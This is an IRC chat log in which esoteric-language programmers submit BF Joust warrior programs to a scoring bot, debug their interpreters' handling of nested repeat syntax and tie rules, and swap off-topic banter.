21:10:11 <elliott> Gregor: PINGY
21:10:46 <elliott> ais523: does defend14 tie with defend13?
21:10:51 <ais523> no
21:10:57 <elliott> ah, not always
21:10:58 <elliott> but sometimes
21:11:16 <ais523> they have different timings on their defence detection
21:11:39 * elliott just wants two complicated programs that tie :P
21:11:44 <elliott> At least some of the time.
21:13:47 <Deewiant> What's "complicated" :-P
21:14:07 <elliott> Deewiant: With ()%, preferably.
21:14:38 <Deewiant> space_elevator doesn't have any, d'oh
21:15:12 <elliott> Deewiant: X-D
21:15:14 <elliott> Preferably, I said.
21:15:19 <elliott> Not madatorililily.
21:15:57 <Deewiant> Well, some of my skippy/delirium programs from earlier tie with space_elevator
21:16:09 <Deewiant> They're not complicated but maybe space_elevator is enough? :-P
21:16:32 <elliott> Paste the one you think is best :P
21:16:40 <Deewiant> I can't remember which ones tie and which don't
21:16:43 <elliott> Gregor: PINGGGG
21:16:45 <elliott> info
21:16:46 <elliott> info
21:16:47 <elliott> !info
21:16:48 <Deewiant> !bfjoust delirium (>)*8(>[(-)*2[+]]+>)*10[+[--[+++]]]
21:16:49 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
21:17:09 <EgoBot> Score for Deewiant_delirium: 3.1
21:17:39 <Deewiant> !bfjoust delirium (>)*8(>[(-)*2[+]]>)*10[+[--[+++]]]
21:17:43 <EgoBot> Score for Deewiant_delirium: 5.2
21:17:56 <Deewiant> !bfjoust delirium (>)*8(>(-.-)*5[(-)*22[-]]>)*10(-)*10[(-)*22[-]]
21:18:28 <EgoBot> Score for Deewiant_delirium: 2.6
21:18:37 <Deewiant> elliott: That one
21:18:42 <elliott> Deewiant: thx
21:18:43 <Deewiant> <><>>>>>>>>>>>>>>>>>> <>>><><><XXXXX>>>>>>>
21:19:17 <elliott> $ ./lance "(>)*8(>(-.-)*5[(-)*22[-]]>)*10(-)*10[(-)*22[-]]" "$(cat spelevator)"
21:19:18 <elliott> Sieve: <><>>>>>>>>>>>>>>>>>>
21:19:18 <elliott> Kettle: <>>><><><=====>>>>>>>
21:19:19 <elliott> Looks right to me
21:19:22 <ais523> Gregor: NetHack tournament players complain at /dev/null quite a lot
21:20:34 <quintopia> space_elevator isn't that complicated. it's just long. because it special cases every single tape length
21:20:50 <coppro> !bfjoust suicide_faster (-)*128
21:20:54 <EgoBot> Score for coppro_suicide_faster: 8.5
21:21:00 <elliott> yeah
21:21:05 <elliott> Gregor Gregor Gregor Gregor Gregor
21:21:08 <Deewiant> It's complicated compared to the <100-byte programs :-P
21:21:10 <quintopia> what do the suicide programs beat?
21:21:47 <coppro> !bfjoust suicide_slower [][-.]
21:22:03 <quintopia> coppro: that second code block is never reached
21:22:11 <quintopia> okay
21:22:32 <EgoBot> Score for coppro_suicide_slower: 6.3
21:22:46 <quintopia> it might be sometimes by really silly programs that do something like (>[(-)*256])*29
21:23:22 <elliott> Gregor: I like how report.c has a variable called fyb
21:23:24 <Gregor> Suicide can beat careless turtles in some timings.
21:23:34 <Gregor> elliott: So does your mom.
21:25:26 <ais523> suicide beats tripwire avoiders, too
21:25:46 <ais523> because they jump off the tape before the suicide can kill itself
21:25:55 <quintopia> Gregor: *beat*? or just win some rounds against?
21:26:05 <fizzie> elliott: Heh, I converted chainlance into a computed-goto driven interp (with the same actions chainlance uses, except expressed in C) dubbed 'cranklance', and now I get (ego, chain, crank) for the test-hill (0.5, 2.5, 0.4) seconds, for 100k-cycle wait (0.30, 0.05, 0.12) seconds. I think I'll use the crank for some hill-clustering/result-visualization/whatever tests. (Maybe I should've also tried generating C from chain.)
21:26:40 <elliott> fizzie: I might be interested in integrating that with lance at some point if the better ({}) semantics will work with it.
21:27:08 <Gregor> quintopia: Mmm, probably beat.
21:27:24 <quintopia> i'll have to check that out
21:27:46 <elliott> Gregor: pinggg
21:27:49 <elliott> Gregor: OKAY SO
21:27:54 <elliott> Gregor: that program that had nested {{}}s
21:27:56 <elliott> that you had to fix for egobot
21:27:57 <elliott> which is that
21:28:13 <Gregor> elliott: The philip family, lemme paste one unexpanded.
21:28:18 <Gregor> Also, *egojoust
21:28:24 <elliott> Yesyesyes
21:29:05 <Gregor> elliott: high_fructose_corn_philip: http://sprunge.us/Ijgi
21:29:44 <elliott> Gregor: Is that the current hill versi00000n?
21:29:47 <elliott> Oooon.
21:30:01 <Deewiant> No, that's http://codu.org/eso/bfjoust/in_egobot/Gregor_high_fructose_corn_philip.bfjoust
21:30:12 <elliott> Deewiant: ...he expands it for egojoust use.
21:30:14 <elliott> So it might very well be.
21:30:19 <elliott> $ ./lance "$(cat spelevator)" "$(cat hfcp)"
21:30:19 <elliott> Segmentation fault
21:30:23 <elliott> Congratulations, Gregor.
21:30:29 <Deewiant> I thought you just meant if it's the same exact source
21:30:34 <elliott> Ah.
21:31:20 <quintopia> Gregor: ohhh, i see. mapping_turtle only increments 127 times before going on, which sometimes means it has had time to get to zero when the other program is modifying its own flag
21:31:31 <Gregor> quintopia: Yup
21:31:50 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
21:33:06 <fizzie> elliott: I'm not entirely certain what those are, yet; I haven't been following. Currently it only accepts (a[b{c}d]e)*N style code where leftover [s in "a[b" exactly match extra ]s in "d]e", and there is only one {} on a ()-level; it doesn't do any special nested {}s. So (a{b(c{d}e)*Nf}g)*M goes, ((a{b{c}d}e)*N)*M not, if you were allowing something like that. But of course it could be changes.
21:33:38 <elliott> fizzie: Irrelevant.
21:33:42 <elliott> fizzie: The thing is that you expand %N.
21:33:50 <elliott> You don't have to.
21:33:57 <fizzie> Well, no, I don't.
21:34:08 <elliott> Oh?
21:34:12 <elliott> What do you do then?
21:34:33 <elliott> The nested thing is (a(b{c{d}e}f)%Mg)%N.
21:34:39 <elliott> The innermost {} associates with the %N one.
21:34:55 <elliott> fizzie: But how do you handle ({}) then?
21:38:22 <Gregor> fizzie: You should put your impl on the wiki btw
21:38:30 <fizzie> Well, it does loopless (a{b}c)%n the obvious way (decrement repeat-count on { and jump to (; reinitialize count at } and have ) jump there) and the jiggles the repeat counters when loops jump over the {} body. That was what I could sensibly retrofit in the plain-dumb asm-translator with everything in regs. It might well have bugs; it was a really quick retrofit on the existing code that didn't allow loops crossing {}.
21:38:57 <elliott> fizzie: that fails
21:39:01 <elliott> you need to keep it around after {
21:39:04 <elliott> and then decrement for } and )
21:39:15 <elliott> But, er, crossing {} how?
21:39:22 <elliott> (a[b{c]}d)?
21:39:23 <elliott> That's not valid.
21:40:16 <ais523> I think fizzie meant (a[b{c}d]e)%n, which is the intended use
21:40:31 <Sgeo> http://thehill.com/blogs/blog-briefing-room/news/143671-gop-rep-i-made-a-terrible-mistake-in-last-years-patriot-act-vote A republican I agree with? What.
21:40:51 <ais523> Sgeo: I don't think there's anything inherently intrinsically stupid or wrong about democrats or republicans
21:41:04 <ais523> the two parties are so close to each other that it makes sense that moderate republicans are saner than extreme democrats
21:41:13 <ais523> even if everyone in the world outside the US thinks the democrats are marginally saner
21:41:19 <elliott> Ha, ais523 got to the "Sgeo, honestly, they're the fucking same" thing before me.
21:41:24 <elliott> Except with less profanity.
21:41:42 <fizzie> ais523: Yes, what he said.
21:41:42 <Gregor> Should've said "inb4same
21:41:42 <Gregor> "
21:41:47 * Sgeo pokes pikhq
21:41:52 <ais523> I rarely use profanity altogether, because there's rarely a context where it makes sense
21:42:04 <elliott> What's scary is that Democrat supports think they're _liberal_ *because they support the Democrats*.
21:42:07 <ais523> (saying "brainfuck" or whatever is fine, although it rather annoys my parents)
21:42:09 <elliott> *a lot of Democrat supporters
21:42:21 <fizzie> Anyway, it doesn't fail for loopless code, and I didn't want to touch it much yet.
21:43:03 <elliott> How the heck did Gregor's philip segfault my code.
21:43:17 <elliott> Phew. At least it is during parsing.
21:43:58 <Sgeo> http://www.reddit.com/user/GreenEggsAndBacon extremist Democrat?
21:46:55 <elliott> yay, NULL!
21:46:59 <elliott> ais523: who loves NULL?!
21:47:03 <elliott> everyone loves NULL!
21:47:04 <elliott> the best pointer!
21:47:25 <ais523> it's certainly the most unique pointer
21:47:36 <elliott> everyone's unique!
21:49:31 <elliott> wow, bfjoust.pl is insane
21:49:46 <elliott> 89 print "Both programs are waiting."
21:49:47 <elliott> 90 if $tape[$i1] && $tape[$i2] && $p1 =~ /^\[\]/ && $p2 =~ /^\[\]/;
21:49:50 <elliott> ooh, that's clever
21:49:57 <elliott> (but probably not worth optimising for)
21:50:30 <elliott> ais523: wait, if without ()s?
21:50:32 <elliott> is that perl 6?
21:50:37 <elliott> no, it'd be @tape[$i1] for perl 6
21:50:49 <ais523> elliott: it's a reverse if
21:50:52 <ais523> command if conditoin
21:50:54 <ais523> *condition
21:50:54 <Deewiant> x if y;
21:50:57 <elliott> right
21:50:58 <Deewiant> if (y) x;
21:51:08 <ais523> just split over two lines because perl(1) isn't whitespace-significant like lance is
21:51:09 <Deewiant> if (y) { x } rather
21:51:15 <elliott> ais523: ho ho ho
21:51:17 <elliott> ais523: I fixed that :P
21:51:29 <elliott> ais523: the only thing is that "1x3" is the same as 1
21:51:37 <elliott> because, I figure in BF, the thing is that you can put whatever you want /between instructions/
21:51:39 <elliott> instruction = atomic unit
21:51:44 <ais523> hmm, OK
21:51:49 <elliott> that an integer takes multiple bytes to represent is an implementation detail of ASCII
21:52:00 <elliott> it's an atomic unit, so the actual integer digits have to be together to count as one
21:52:14 <fizzie> Does egojsout do the (a[b{c}d]e)%N thing correctly (disregarding nested {} for now) or what should I use as a reference? (Well, maybe I could use just an expanded program as a reference, actually.)
21:52:15 <elliott> hmm, does perl 6 make "foo bar { baz }" the same as "baz foo bar" in all cases?
21:52:19 <elliott> it removed the parens from if
21:52:28 <Gregor> fizzie: egojsout does everything right.
21:52:29 <elliott> fizzie: egojsout is pretty much perfect, but I'd use lance as the reference.
21:52:32 <elliott> Because it's almost done :P
21:52:37 <elliott> Gregor: Apart from some ties, right?
21:52:40 <elliott> e.g. [-] vs [-]
21:53:04 <Gregor> elliott: ... no, those tie properly.
21:53:07 <elliott> Oh.
21:53:17 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:53:29 <Gregor> The confusion was with respect to whether suicide-vs-flag-dropped is a tie.
21:53:36 <Gregor> I consider those a tie, but there's some contention.
21:53:44 <ais523> Gregor: suicide by dropped flag, versus what?
21:53:45 <fizzie> Gregor: It doesn't interpret >++(-[.{.}.])%3<[-] identically to >++-[.-[.-[...].].]<[-] even though unless I've misunderstood the syntax, the latter is the expanded form of the former.
21:53:49 <ais523> as in, what's the other death?
21:54:12 <Gregor> ais523: As in, one side's flag is down for two turns, but on the second turn the other side jumps ship.
21:54:22 <ais523> oh, that's a win for the side which was slightly slower at suicidng
21:54:22 <elliott> hmm, I don't think I handle that
21:54:24 <ais523> *suiciding
21:54:33 <ais523> because its flag hasn't been down for two turns yet
21:54:35 <elliott> someone give me a program to test that :P
21:54:40 <elliott> but yes, what ais523 said
21:54:41 <elliott> it's a tie
21:54:45 <elliott> because you die at the _end_ of the second turn
21:54:49 <elliott> that your flag is 0
21:54:50 <ais523> elliott: *it's not a tie?
21:54:55 <elliott> or, the beginning of the turn after
21:54:57 <elliott> which never happens
21:54:58 <elliott> ais523: right
21:54:59 <elliott> not a tie
21:55:11 <Gregor> fizzie: Wha? No, it does that right.
21:55:41 <fizzie> Gregor: I just put those two programs in, and the left end of the tape looks different from the right end in the trace.
21:56:04 <elliott> I appear to handle that.
21:57:03 <fizzie> (Also right wins in all of them, even though it should be a tie according to my logic, assuming the programs are indeed intended to be identical.)
21:57:03 <Gregor> Whoah, wtf, they do look different.
21:57:11 -!- jcp has quit (Ping timeout: 276 seconds).
21:57:17 <elliott> LANCE IS PERFECT HAVE I MENTIONED
21:57:27 <elliott> Gregor CAN'T CODE (but he can fix my bugs)
21:58:05 <elliott> hmm, afaict this code is perfect
21:58:22 <elliott> there's no reason neststk[i] for i < neststki-1 should ever be NULL
21:58:25 <elliott> and yet it is
21:59:14 <Gregor> Off-by-one error :)
21:59:56 <elliott> Gregor: >_<
22:00:04 <Gregor> fizzie: Fixt.
22:00:14 <Gregor> elliott: I was actually referring to MY off-by-one error :P
22:00:30 <elliott> Gregor: We need to make a language without any integers, even implicitly in e.g. list length/depth, so that off-by-one errors are impossible.
22:00:36 <elliott> ONLY THEN will we have conquered the beast.
22:00:48 <elliott> Also, no names, thus eliminating two of the two hard problems of computer science.
22:00:53 <elliott> All we have to tackle then is cache invalidation.
22:01:02 -!- jcp has joined.
22:01:50 <Sgeo> How to make data structures that can only store a continuous amount of items
22:01:53 <Sgeo> And not discrete
22:02:05 <Gregor> Sgeo: By not using digital computers?
22:02:07 <Sgeo> How would you go about making a continuous data structure in the first place?
22:02:09 <Sgeo> Hmm
22:02:14 <elliott> Use neural nets instead.
22:02:26 <pikhq> Analog computing solves all problems.
22:02:27 <pikhq> ALL
22:02:32 <elliott> PROBLEMS
22:02:38 <Gregor> ARE
22:02:42 <elliott> ABOUT
22:02:48 <Gregor> TEN
22:02:51 <elliott> BIRDS
22:02:57 <Gregor> WORTH
22:03:02 <pikhq> TEN
22:03:05 <elliott> DOUBTFUL
22:03:15 <Gregor> GALLONS
22:03:18 <pikhq> OF
22:03:22 <Gregor> BROTH
22:03:22 <elliott> NON-EUCLIDEAN
22:03:30 <elliott> (X-D)
22:03:36 <elliott> WHILE
22:03:41 <pikhq> (ah, the broth non-euclidean)
22:03:49 <elliott> (It was non-euclidean broth on my end, which was hilarious)
22:03:51 <elliott> (Carry on)
22:04:09 <Sgeo> (I just turned VLC's volume down to 3%)
22:05:02 -!- Gregor has set topic: All problems are about ten birds worth ten doubtful gallons of broth non-euclidean. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:05:27 -!- elliott has set topic: All problems are about ten birds worth ten doubtful gallons of non-euclidean broth. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:05:34 <elliott> Mine is far better, and I won't let lag ruin a good sentence :P
22:05:44 <Sgeo> And some chef will come in here randomly
22:05:46 <Gregor> Uhh, I think ours is better.
22:05:50 <elliott> By what metric.
22:05:50 <Gregor> It is the broth non-euclidean.
22:05:52 <elliott> Yours doesn't even make sense.
22:06:10 <Sgeo> Tea Earl-gray hot.
22:06:12 <Gregor> It's still a noun phrase, and non-euclidean is still a descriptive adjective, ours is just more stylish.
22:06:42 <Gregor> Like how a poem might rhyme by saying you're going to the garden green instead of the green garden.
22:06:44 <Gregor> Long story short:
22:06:48 -!- Gregor has set topic: All problems are about ten birds worth ten doubtful gallons of broth non-euclidean. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:07:02 <Sgeo> Words are a problem.
22:07:33 <elliott> All problems are about ten birds
22:07:38 <elliott> worth ten doubtful gallons
22:07:42 <elliott> of broth non-euclidean /
22:07:45 <elliott> And as you go
22:07:46 <elliott> along the path
22:07:49 <elliott> to the garden green
22:07:51 <elliott> know this: /
22:07:54 <elliott> All problems are about ten birds
22:07:57 <elliott> worth ten doubtful gallons
22:08:00 <elliott> of broth non-euclidean.
22:08:03 <elliott> Gregor: PRIZE PLZ
22:08:19 * Gregor gives elliott the Nobel Prize in ... chemistry.
22:08:28 <elliott> I was thinking the Fields Medal.
22:08:44 <elliott> Non-euclidean broth would definitely be worth a Nobel Prize in chemistry :P
22:09:21 -!- GreaseMonkey has joined.
22:10:05 <ais523> grr, I need to finish this Firefox extension that rewrites all the links on Wikia to end ?useskin=monobook
22:10:21 <ais523> hmm, I suppose I could just log in instead
22:10:22 * Sgeo wants a Chrome extension now
22:10:32 <ais523> but where's the fun in that?
22:11:39 <fizzie> Heh, as far as the >++(-[.{.}.])%3<[-] test case is concerned, my loop-counter-jiggling approach to (a[b{c}d]e)%N is just fine... but it's not perhaps the simplest thing ever to adapt to nested {}s. "Oh well."
22:11:40 <elliott> ais523: Can't you just use greasemonkey or something?
22:11:42 <elliott> (no ping intended)
22:12:01 <ais523> possibly
22:12:12 <elliott> HOW CAN NESTSTK POSSIBLY GET NULLS IN IT
22:12:13 <pikhq> It'd be easier.
22:12:34 <ais523> oh, the login doesn't actually work
22:12:58 <elliott> pikhq: ?
22:13:04 <elliott> oh, yes
22:13:10 <elliott> greasemonkey would be easier than writing a full ff extension
22:13:20 <elliott> In fact, I suspect there might be some "rewrite URLs" extension already.
22:14:15 <ais523> hmm, so I go and tell Firefox to no longer allow and block cookies from Wikia at pseudorandom, now the login page doesn't load at all
22:14:55 <quintopia> ais523: how did you come up with 85 as the optimal decoy size? does it have to do with careless turtle type strategies? if you put both polarities of decoys on the tape, isn't a smaller decoy better?
22:15:07 <ais523> it's a third of 256
22:15:17 <ais523> but you're right, thinking about it all that's needed is to fool enemy offset clears
22:15:57 <ais523> OK, I give up, logging into Wikia is harder than writing a Firefox extension
22:16:11 <Sgeo> !bfjoust weird_decoy >>>(-)*23
22:16:29 <quintopia> because the average time to clear n and -n is 256 cycles for all large enough n, yes?
22:16:29 <elliott> ais523: seriously, search for a rewrite urls extension
22:16:31 <elliott> `addquote <ais523> OK, I give up, logging into Wikia is harder than writing a Firefox extension
22:16:35 <elliott> ais523: it'll save you a lot of effort
22:16:40 <ais523> I just did
22:17:02 <EgoBot> Score for Sgeo_weird_decoy: 1.1
22:17:11 <ais523> gah, why is there not a "view source" option?
22:17:49 <HackEgo> 305) <ais523> OK, I give up, logging into Wikia is harder than writing a Firefox extension
22:18:24 <ais523> hmm, this looks quite close to what I would have written
22:18:50 -!- copumpkin has joined.
22:18:57 <ais523> and it doesn't seem malicious
22:18:59 <ais523> I'll install it
22:19:07 <ais523> (it isn't popular enough for me to assume it's nonmalicious based on network effects)
22:19:27 <elliott> ais523: hmm, is it not reviewed?
22:19:30 <elliott> most addons on mozilla.org are
22:19:36 <ais523> too new
22:19:37 <elliott> and if you trust firefox you trust them
22:19:38 <elliott> ah
22:19:50 <ais523> that's why I was being extra-careful
22:20:14 -!- augur has quit (Ping timeout: 272 seconds).
22:21:52 <elliott> I wonder what on earth introduced this bug... and how it even... and... what...
22:21:59 <elliott> It just... maybe...except... whaaat.
22:22:02 <elliott> THIS MAKES NO SENSE
22:22:07 <elliott> Hey Gregor, wanna debug my program
22:22:30 <ais523> it doesn't seem to work, at least
22:22:40 <ais523> it's translating the URLs correctly, but not rewriting them
22:22:50 <elliott> (gdb) print neststk[0]
22:22:50 <elliott> $3 = (ins_t *) 0x16030f0
22:22:50 <elliott> (gdb) print neststk[1]
22:22:50 <elliott> $4 = (ins_t *) 0x1603110
22:22:50 <elliott> (gdb) print neststk[2]
22:22:50 <elliott> $5 = (ins_t *) 0x0
22:22:52 <elliott> (gdb) print neststk[3]
22:22:54 <elliott> $6 = (ins_t *) 0x0
22:22:56 <elliott> hmm
22:23:03 <elliott> Yet neststki is 2.
22:23:07 <elliott> ...but that's what it should be.
22:23:11 <elliott> But I start at neststki-1.
22:23:17 <elliott> ais523: how do you go back in gdb?
22:23:20 <elliott> IIRC you can do it
22:23:24 <elliott> though perhaps not after a segfault
22:23:24 <ais523> I'm not sure, it's a really new feature
22:23:27 <elliott> *LOL*
22:23:31 <elliott> for (int i=neststki-1; i>=0; i++)
22:23:36 <elliott> Hey kids, it's time to play Spot The Bug!
22:23:48 <Deewiant> i++
22:23:55 <elliott> DEEWIANT WINS THE GRAND PRIZE
22:24:01 <elliott> AMUSINGLY, that's an off-by-one error!
22:24:05 <Deewiant> for (unsigned i = neststki; i--;)
22:24:09 <ais523> ah, it only seems to trigger on things entered into the URL bar
22:24:14 <elliott> Well, an off-by-two.
22:24:16 <elliott> (1 vs. -1)
22:24:23 <elliott> Deewiant: Ooh, optomized.
22:24:30 <Deewiant> Just more clear, IMO :-P
22:24:32 <ais523> I need to make it rewrite links too
22:24:33 <Deewiant> And works for unsigned
22:24:34 <quintopia> !bfjoust wirless (>)*8+<-<(+)*18<(-)*19(<(-)*33<(+)*33)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
22:24:42 <EgoBot> Score for quintopia_wirless: 59.4
22:24:47 <Deewiant> Gah
22:24:48 <quintopia> !bfjoust wirless <
22:24:52 <Deewiant> STOP WINNING
22:24:52 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*33<(+)*33)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
22:24:53 <elliott> Wirless :D
22:24:55 <EgoBot> Score for quintopia_wirless: 0.0
22:25:04 <elliott> $ ./lance '>++(-[.{.}.])%3<[-]' '>++-[.-[.-[...].].]<[-]'
22:25:04 <elliott> Sieve: >>>>>>>>>>>>>>>>>>>>>
22:25:05 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>>>
22:25:06 <elliott> So er fizzie
22:25:07 <quintopia> ais523: smaller decoy = better
22:25:07 <elliott> What's with that
22:25:13 <EgoBot> Score for quintopia_wireless: 58.6
22:25:19 <elliott> ...how did it go down?
22:25:20 <elliott> >_<
22:25:27 <quintopia> elliott: because it beat wireless
22:25:30 <elliott> X-D
22:25:38 <ais523> quintopia: so long as it's large than the opponent's offset clear; I think I agree
22:25:38 <fizzie> Maybe what's up with it is what was up with egojsout?-)
22:25:58 <elliott> Gregor: What was your off-by-one in egojsout
22:26:28 <fizzie> $ echo '>++(-[.{.}.])%3<[-]' > test_a.b ; echo '>++-[.-[.-[...].].]<[-]' > test_b.b ; ./cranklance test_a.b test_b.b
22:26:28 <fizzie> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX 0
22:26:42 <fizzie> (It probably bugs a whole lot in other code.)
22:26:42 * quintopia goes to put small decoys in space_elevator :P
22:27:14 <ais523> this is an improvement anyway, I can click on the URL bar and press return to fix the skin
22:27:39 <Gregor> elliott: The up-side went from 0 to len-1, but the downside went from len to 1, so if you looped you'd be off by one on the other side.
22:27:51 <Gregor> That is, if you did a []-loop that went over a {}
22:28:03 <elliott> UPSIDE:
22:28:07 <elliott> case PARE:
22:28:07 <elliott> if (progs[prog]->arg == 0)
22:28:07 <elliott> progs[prog] = progs[prog]->jmp;
22:28:07 <elliott> else
22:28:07 <elliott> repeatstk[prog][++repeatstki[prog]] = progs[prog]->arg;
22:28:08 <Sgeo> How do tripwires work?
22:28:09 <elliott> progs[prog]++;
22:28:11 <elliott> goto rego;
22:28:17 <elliott> case ONCE:
22:28:17 <Gregor> Sgeo: Ask ais523 :P
22:28:17 <elliott> if (++repeatstk[prog][repeatstki[prog]] == progs[prog]->jmp->arg)
22:28:17 <elliott> repeatstki[prog]--;
22:28:19 <elliott> else
22:28:21 <elliott> progs[prog] = progs[prog]->jmp;
22:28:23 <elliott> progs[prog]++;
22:28:25 <elliott> goto rego;
22:28:27 <elliott> DOWNSIDE:
22:28:29 <elliott> case ERAP:
22:28:31 <elliott> if (--repeatstk[prog][repeatstki[prog]] == 0)
22:28:33 <elliott> repeatstki[prog]--;
22:28:35 <elliott> else
22:28:37 <elliott> progs[prog] = progs[prog]->jmp;
22:28:38 <Deewiant> elliott: FFS, learn to use pastebins.
22:28:41 <elliott> progs[prog]++;
22:28:43 <elliott> goto rego;
22:28:45 <elliott> Looks right to me, Gregor. Unless you mean the bug was in []?
22:28:45 <ais523> Sgeo: set a value to nonzero, do [], when you break out of the loop you know the opponent's data pointer was there the turn before
22:28:51 <elliott> Deewiant: I use them all the time, I had a sudden burst of LAZY.
22:28:53 <elliott> Gregor: Show me a diff :P
22:29:12 <Sgeo> ais523, and what's the goal when you see the data pointer there?
22:29:29 <ais523> you use it to time a defensive lock
22:29:46 <elliott> ais523: Or to know when to attack.
22:29:50 <ais523> unless you're impomatic, and crazy enough to try a defensive lock without first setting the pointer
22:30:00 <ais523> elliott: plausibly, but I don't know if anyone's tried that tactic
22:30:02 <elliott> Go close to the opponent, set up a tripwire, wait for it to be tripped, attack madly.
22:30:02 <Gregor> elliott: http://sprunge.us/ZEPW
22:30:09 <elliott> ais523: I think I did and it went badly :P
22:30:25 <ais523> I'm not going to say it's necessarily completely unviable, but I can't think of a sane use for it
22:30:34 <elliott> Gregor: Your } *does* things?
22:30:36 <elliott> Or is that {?
22:30:57 <elliott> My } is a nop.
22:31:02 <Gregor> My } sets the iterator. In principle it shouldn't need to, it's just defensive in case I fucked something up :)
22:31:52 <elliott> Gregor: That first snippet is from your ( code, right?
22:31:59 <Sgeo> !bfjoust badly_implemented_elliot_strategy (>)*8+[]+[>[-]+]
22:32:14 <Gregor> elliott: No, )
22:32:16 <EgoBot> Score for Sgeo_badly_implemented_elliot_strategy: 0.0
22:32:19 <Sgeo> aww
22:32:24 <elliott> Gregor: Err, doesn't ) behave the same whether there's curlies or not?
22:32:33 <Gregor> elliott: No.
22:32:36 <elliott> Why not
22:32:42 <Sgeo> Wait, I'm falling off the edge, aren't I?
22:33:04 <Deewiant> You might be. Which is why you typically use ()*21 instead of a loop :-P
22:33:07 <Gregor> elliott: With no braces, () can loop up or down, doesn't matter. With braces, ({ must loop up and }) must loop down, or vice-versa. So ) has to know the difference to know which way to change the iterator and which edge case to check.
22:33:36 <elliott> Gregor: I just make ) always count down...
22:33:45 <elliott> normal-( pushes the maximum count, so ) works by counting down.
22:33:45 <Gregor> elliott: Then you're doing it wrong :)
22:33:49 <fizzie> Current cranklance gives a "parse error: matching [...] across (...) levels" error for defend14, defend9, spookygoth, wiggle3, careful, and careless. :/ (At least some of those seem to be doing a generic sort of (])*8 thing though.)
22:33:50 <elliott> braces-( pushes 0, then { counts it up.
22:33:53 <elliott> Then ) counts it down.
22:33:56 <elliott> Gregor: What's wrong with ^
22:34:00 <elliott> fizzie: Yes, those are broken.
22:34:17 <elliott> fizzie: It's ok, we're just going to ditch them until their authors fix. ...or actually someone else has to fix wiggle3.
22:34:18 <Gregor> elliott: When you have both ({ and }) loops, you have to count in both directions for [] to work. I suppose you could also check for [] that jumps over a {} and invert the iterator ...
22:34:32 <elliott> Gregor: I do count in both directions.
22:34:42 <elliott> Gregor: (...{ goes up, and *leaves it on the stack*.
22:34:48 <elliott> Gregor: Then } does nothing, and ) goes down.
22:34:51 <Sgeo> Meh, I can't figure out how to stop on the first non-0 value
22:34:52 <elliott> (Jumping to the } each time)
22:34:55 <Gregor> elliott: OH, I see.
22:35:03 <Gregor> elliott: But then, doesn't ) count up if there is no {}?
22:35:07 <elliott> This being exactly what oerjan said :P
22:35:10 <elliott> Gregor: No. ) counts down.
22:35:14 <elliott> Gregor: Normal ( pushes the max count.
22:35:15 <Deewiant> !bfjoust tripwire (>)*8+[](>[(-)*9[+]])*20(-.)*-1
22:35:18 <elliott> Gregor: Braces ( pushes 0.
22:35:24 <elliott> That way counting down on ) always works.
22:35:25 <Gregor> elliott: OH, you have a distinguished () for each case, got it.
22:35:27 <EgoBot> Score for Deewiant_tripwire: 1.9
22:35:28 <Gregor> elliott: Then you should be fine.
22:35:30 <elliott> Gregor: Just a distinguished (.
22:35:33 <elliott> ) is always the same, like I said.
22:35:34 <Gregor> elliott: I only have one ( and one ), so I check at runtime.
22:35:45 <Gregor> elliott: Yeahyeah, finefine.
22:35:47 <fizzie> Gregor: What cranklance does is that, actually; I count down in both (...{ and }...), and then in [ and ] that cross the {...} part I do rep = N-(rep-1).
22:35:53 <elliott> Gregor: Except that it's NOT working.
22:35:54 <Sgeo> Deewiant, is that what I was triyng to do?
22:35:57 <elliott> $ ./lance '>++(-[.{.}.])%3<[-]' '>++-[.-[.-[...].].]<[-]'
22:35:58 <elliott> Sieve: >>>>>>>>>>>>>>>>>>>>>
22:35:58 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>>>
22:36:05 <Deewiant> Sgeo: Pretty much.
22:36:11 <Gregor> fizzie: Yeah, that'd work too.
22:36:14 <elliott> ...wait.
22:36:16 <elliott> is that inner bit correct?
22:36:19 <elliott> Shouldn't it be [.]? Wait, no.
22:36:22 <Gregor> elliott: I refuse to respond to tiny bits of pasted code that you THINK contain the error. All or nothing.
22:36:30 <elliott> I didn't say fix the error.
22:36:36 <elliott> I just said that "you should be fine" _- I'm not :P
22:36:37 <elliott> *-
22:36:58 <elliott> But sure, I guess, if you reaaaaaaally want to debug it :P
22:40:43 -!- FireFly has quit (Quit: swatted to death).
22:41:05 <fizzie> I wonder if I should "fix" that "second consecutive 0-flag vs. falling off the tape" tie into a loss; I did it as a tie "naturally", but the Authority (ais523) seems to disagree.
22:41:24 <elliott> It's obviously a loss.
22:41:31 <ais523> well, the thing is, everyone seems to think it's obvious
22:41:33 <elliott> You only expire _after_ the second turn of hopelessness.
22:41:35 <ais523> just they can't agree on what it should be
22:41:37 <elliott> Otherwise, [-] wouldn't draw with [-].
22:41:42 <elliott> well
22:41:45 <elliott> (>)*9(-)*128
22:41:49 <elliott> wouldn't draw on tape length 10
22:41:53 <elliott> because the last - wouldn't happen
22:41:58 <elliott> because it'd happen on the second turn of zeroness
22:42:21 <ais523> another good comparison is [-] to .[-]
22:42:32 <ais523> to me, it's obvious that the first program should lose there, as it suicides faster
